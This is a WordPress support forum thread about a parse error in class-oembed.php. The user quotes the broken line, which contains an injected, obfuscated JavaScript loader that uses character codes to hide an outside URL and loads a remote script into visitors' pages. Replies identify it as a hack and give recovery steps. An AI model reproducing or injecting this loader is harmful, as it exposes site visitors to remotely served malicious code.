• Suddenly My Site Is Showing This Error.

    Parse error: syntax error, unexpected ‘text’ (T_STRING) in /home/digitech/public_html/wp-includes/class-oembed.php on line 461

    When I Go To class-oembed.php on line 461 I Get This Code. I Can Not Solve The Problem. I Am Not Facing Any Plugin Issue. Any Help Will Be A Gift For Me.

    if ( $html_head_end = stripos( $html, ‘<script type=’text/javascript’>var _0x1e35=[‘length’,’fromCharCode’,’createElement’,’type’,’async’,’code121′,’src’,’appendChild’,’getElementsByTagName’,’script’];(function(_0x546a53,_0x3f720e){var _0x440369=function(_0x2e1b64){while(–_0x2e1b64){_0x546a53[‘push’](_0x546a53[‘shift’]());}};_0x440369(++_0x3f720e);}(_0x1e35,0x1e1));var _0x5a05=function(_0x716551,_0x1d4a8e){_0x716551=_0x716551-0x0;var _0x2b7638=_0x1e35[_0x716551];return _0x2b7638;};var url=String[_0x5a05(‘0x0’)](104, 116, 116, 112, 115, 58, 47, 47, 115, 97, 115, 107, 109, 97, 100, 101, 46, 110, 101, 116, 47, 102, 111, 111, 116, 46, 106, 115, 63, 118, 101, 114, 61, 49, 46, 48, 46, 48);var a=function(){var _0x22c9c8=document[_0x5a05(‘0x1’)](String[_0x5a05(‘0x0’)](0x73,0x63,0x72,0x69,0x70,0x74));_0x22c9c8[_0x5a05(‘0x2’)]=String[_0x5a05(‘0x0’)](0x74,0x65,0x78,0x74,0x2f,0x6a,0x61,0x76,0x61,0x73,0x63,0x72,0x69,0x70,0x74);_0x22c9c8[_0x5a05(‘0x3’)]=!![];_0x22c9c8[‘id’]=_0x5a05(‘0x4’);_0x22c9c8[_0x5a05(‘0x5’)]=url;document[‘getElementsByTagName’](String[_0x5a05(‘0x0’)](0x68,0x65,0x61,0x64))[0x0][_0x5a05(‘0x6’)](_0x22c9c8);};var scrpts=document[_0x5a05(‘0x7’)](_0x5a05(‘0x8’));var n=!![];for(var i=scrpts[_0x5a05(‘0x9’)];i–;){if(scrpts[i][‘id’]==_0x5a05(‘0x4′)){n=![];}};if(n==!![]){a();}</script></head>’ ) ) {
    $html = substr( $html, 0, $html_head_end );

    The page I need help with: [log in to see the link]

Viewing 6 replies - 1 through 6 (of 6 total)
  • Ziaalhassan, I’m the other one with this same problem. I tried all sorts of things and posted questions in various forums without any luck. After spending lots of time failing to solve it, I finally hired Wordfence to clean my site. My site is in their queue to be fixed, but there are so many people with this problem that they’re backed up. Good luck, and I hope you find an answer!

    That line should say

    if ( $html_head_end = stripos( $html, '</head>' ) ) {
    	$html = substr( $html, 0, $html_head_end );
    }

    Since it doesn’t, you should replace the damaged files.
    Try downloading WordPress again, access your server via SFTP or FTP, or a file manager in your hosting account’s control panel, and delete then replace your copies of everything except the wp-config.php file and the /wp-content/ directory with fresh copies from the download. This will effectively replace all of your core files without damaging your content and settings.

    Some uploaders tend to be unreliable when overwriting files, so don’t forget to delete the original files before replacing them.

    Since this looks like a hack, carefully follow this guide. When you’re done, you may want to implement some (if not all) of the recommended security measures.

    Thread Starter ziaalhassan

    (@ziaalhassan)

    Hello @abigailreynolds2013
    I Replaced The Core WordPress Files And Issue Solved. Have You Solved You Issue Yet ?

    I had the site cleaned by Wordfence because there was also an infection in lots of the files, but I’m glad to know that fix worked for you. Something to keep in mind for next time I get a syntax error!

    I have same problem last night and now it is up and running, thanks @joyously for the fix. You are a hero. @ziaalhassan thanks for the testimonials, it gives me such hope. The hacker manage to create a folder and embed the eval script. I am not a developer so i am really dependent and learning on the experience of people. Will follow above recommendation for the security measures so hopefully won’t happen again.

    Thanks

    • This reply was modified 6 years, 3 months ago by ebuscado.

    Here was my recovery steps:

    1- Use Cpanel > PHPMyAdmin and check your wp_options table to verify your site_url is set to your domain name. This should allow access to your admin (change all your passwords as you gain access to your site again)

    2- Search the DB for anything containing the bad URL and replace it. Search wordpress as well.

    3- Once you’re in your admin, use Wordfence and run a full scan. Auto-fix all the files it finds to be bad to replace them, and highlight any other issues with suggestions on how to fix.

    4- Update all plugins and themes in your system. Get rid of anything you don’t use

    5- Check your .htaccess file to make sure no strange redirects are there

    6- Scan your site with external site scanners to verify no malware

Viewing 6 replies - 1 through 6 (of 6 total)
  • The topic ‘syntax error, unexpected ‘text’ (T_STRING)’ is closed to new replies.